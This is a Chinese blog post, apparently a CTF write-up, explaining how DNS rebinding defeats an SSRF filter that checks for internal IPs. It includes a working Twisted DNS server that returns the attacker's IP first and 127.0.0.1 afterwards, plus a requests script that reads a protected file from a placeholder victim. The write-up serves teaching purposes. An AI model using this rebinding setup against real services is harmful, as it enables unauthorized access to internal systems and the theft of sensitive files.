dns rebinding attack

前言:P牛曾在文章中写到拒绝SSRF的方法,但是这种方法真的完美无缺吗?

https://www.leavesongs.com/PYTHON/defend-ssrf-vulnerable-in-python.html

套用P牛的话来说,答案是否定的。在他的评论区里,我们可以窥探到一些秘密。由于篇幅所限,P牛没有在这篇文章中直接讲绕过的方式,但这一提示dns重绑定,让我们知道这种攻击手段的厉害之处。

在这里插入图片描述
直接拿题目来说,题目开放了某个端口A,A端口有web服务,通过内网可以直接访问某个文件,但是如果是外来的ip就不行,P牛的文章中有过滤SSRF的代码。这里直接截取一部分,方便阅读,完整的就在他文章里。

    def is_inner_ipaddress(ip):
        ip = ip2long(ip)
        return ip2long('127.0.0.0') >> 24 == ip >> 24 or \
                ip2long('10.0.0.0') >> 24 == ip >> 24 or \
                ip2long('172.16.0.0') >> 20 == ip >> 20 or \
                ip2long('192.168.0.0') >> 16 == ip >> 16 \
                ip2long('0.0.0.0') >> 24 == ip >> 24

通过这篇文章了解dns绑定的攻击手段(必看)
http://www.bendawang.site/2017/05/31/%E5%85%B3%E4%BA%8EDNS-rebinding%E7%9A%84%E6%80%BB%E7%BB%93/

具体攻击流程参考了上述文章的第三个方法
我在dnspod上花1块钱抢了一个1年的域名,然后换成cloudflare的域名解析服务器,由他帮我做解析
在这里插入图片描述
在ip:115.159.106.12 我的服务器上 运行脚本

from twisted.internet import reactor, defer
from twisted.names import client, dns, error, server

record={}

class DynamicResolver(object):

    def _doDynamicResponse(self, query):
        name = query.name.name

        if name not in record or record[name]<1:
            ip="115.159.106.12" # 绕过过滤
        else:
            ip="127.0.0.1" # 内网

        if name not in record:
            record[name]=0
        record[name]+=1

        print name+" ===> "+ip

        answer = dns.RRHeader(
            name=name,
            type=dns.A,
            cls=dns.IN,
            ttl=0,
            payload=dns.Record_A(address=b'%s'%ip,ttl=0)
        )
        answers = [answer]
        authority = []
        additional = []
        return answers, authority, additional

    def query(self, query, timeout=None):
        return defer.succeed(self._doDynamicResponse(query))

def main():
    factory = server.DNSServerFactory(
        clients=[DynamicResolver(), client.Resolver(resolv='/etc/resolv.conf')]
    )

    protocol = dns.DNSDatagramProtocol(controller=factory)
    reactor.listenUDP(53, protocol)
    reactor.run()



if __name__ == '__main__':
    raise SystemExit(main())

pip install twisted
python dns.py

测试:
dig @8.8.8.8 rebind.godspeedcurry.club
在这里插入图片描述
再dig一次
在这里插入图片描述
此外,ceye.io上也有dns rebinding的工具,它可以做到随机返回两个地址中的一个,也是可以用的。

攻击脚本如下

import requests
url = 'http://victim.xx/url=http://rebind.godspeedcurry.club:9999/key' # or 下面这个
url = 'http://victim.xx/url=http://r.djs5cm.ceye.io:9999/key' # ceye平台
r = requests.get(url=url)
print (r.text)

攻击流程:rebind.godspeedcurry.club 转成ip 115.159.106.12 绕过过滤,waf觉得没问题,然后再次访问rebind.godspeedcurry.club时,ip变成了127.0.0.1 此时waf后悔莫及,我们已经读取到敏感文件了。

攻击中存在的问题:我一度使用chrome浏览器直接访问脚本里的url,一次都没有拿到文件内容,猜测是缓存了什么东西,第二天想干脆用脚本发,直接就拿到了答案。做这个攻击还是有点玄学的,不能保证每一次都成功。

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值